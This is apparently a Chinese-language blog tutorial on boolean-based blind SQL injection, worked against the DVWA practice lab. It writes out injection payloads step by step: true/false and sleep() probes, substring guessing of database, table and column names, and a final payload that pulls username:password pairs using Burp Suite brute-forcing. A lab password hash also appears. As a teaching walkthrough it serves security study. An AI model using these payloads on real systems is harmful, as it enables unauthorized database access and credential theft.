boolean布尔型盲注
mysql中limit的详细用法 1、用于强制返回指定的记录行数 在查询中,经常要返回前几条或者中间某几行数据时,用到limit 语法如下
select * from table_name limit [offset,] rows
参数说明:
offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
rows:返回具体行数
总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。
哪种情况适合boolean布尔型注入攻击
页面中不会显示数据库信息,一般情况下只会显示对与错的内容。
1)代码层分析
接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database 否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库 里任何内容,如果存在注入,成为盲注入。
判断盲注入的方法
方法1:布尔型盲注入 输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注 入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样 方法2:延时注入 如果输入检测语句页面没有任何改 变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时 返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行
判断数据库库名长度
要查询当前数据库库名,首先确定要查询的数据库的长度。 1' and if(length(database())=4,1,0)--+
length(database())=4,验证通过
length(database())=4,验证结果“MISSING”
结论:数据库名长度为4
1)数据库名 mysql> select database(); +------------+ | database() | +------------+ | dvwa | +------------+ 1 row in set (0.00 sec) mysql> 2)数据库的字段名第一个字母 mysql> select substring((select database()),1,1); +------------------------------------+ | substring((select database()),1,1) | +------------------------------------+ | d | +------------------------------------+ 1 row in set (0.00 sec) mysql> 3)猜测数据库第一个字母 mysql> select substring((select database()),1,1); +------------------------------------+ | substring((select database()),1,1) | +------------------------------------+ | d | +------------------------------------+ 1 row in set (0.00 sec) mysql>
结合burpsuite猜测数据库全称
url传参:1' and if(substring((select database()),1,1)='d',1,0) --+
http://192.168.1.6/01/vulnerabilities/sqli_blind/?id=1%27%20and%20if(substring((select%20database()),1,1)=%27d%27,1,0)%20--+&Submit=Submit#
1、burpsuite截取结果
2、设置burpsuite变量:
3、attack结果
由此登出数据库名为dvwa
substring截取数据库表字段,判断数据表名
原理
1)表名
mysql> select substring((select table_name from information_schema.tables where table_schema=database() limit 1),1);
+--------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where table_schema=database() limit 1),1) |
+--------------------------------------------------------------------------------------------------------+
| guestbook mysql>
2)表名中的字段
mysql> select substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1);
+----------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1) |
+----------------------------------------------------------------------------------------------------------+
| g |
+----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
mysql>
3)sql组合 mysql> select * from users where user_id=1 and if(substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='g',1,0); +---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+ | user_id | first_name | last_name | user | password | avatar | last_login | failed_login | +---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+ | 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /01/hackable/users/admin.jpg | 2020-01-09 16:58:08 | 0 | +---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+ 1 row i
1)url拼接:if(substring((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)='g',1,0)
2)开启代理,burpsuite拦截
3)设置变量,payload中数据库表名长度可默认最大设置为40
共爆出2张数据表
由此结论:共存在两张数据表:guestbook,users
爆出字段名
1)users表的字段 mysql> select column_name from information_schema.columns where table_name='users' and table_schema=database(); +--------------+ | column_name | +--------------+ | user_id | | first_name | | last_name | | user | | password | | avatar | | last_login | | failed_login | +--------------+ 8 rows in set (0.00 sec) mysql> 2)猜出首个字段名的第一个字母 mysql> mysql> select if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0); +-------------------------------------------------------------------------------------------------------------------------------------------------+ | if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) | +-------------------------------------------------------------------------------------------------------------------------------------------------+ | 1 | +-------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.02 sec) mysql>
url 拼接:1' and if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) --+
burpsuit后登出字段内容:user ,password
url 拼接:1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)--+
burpsuite拦截信息,设置变量 ,爆破后登出 user与password
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统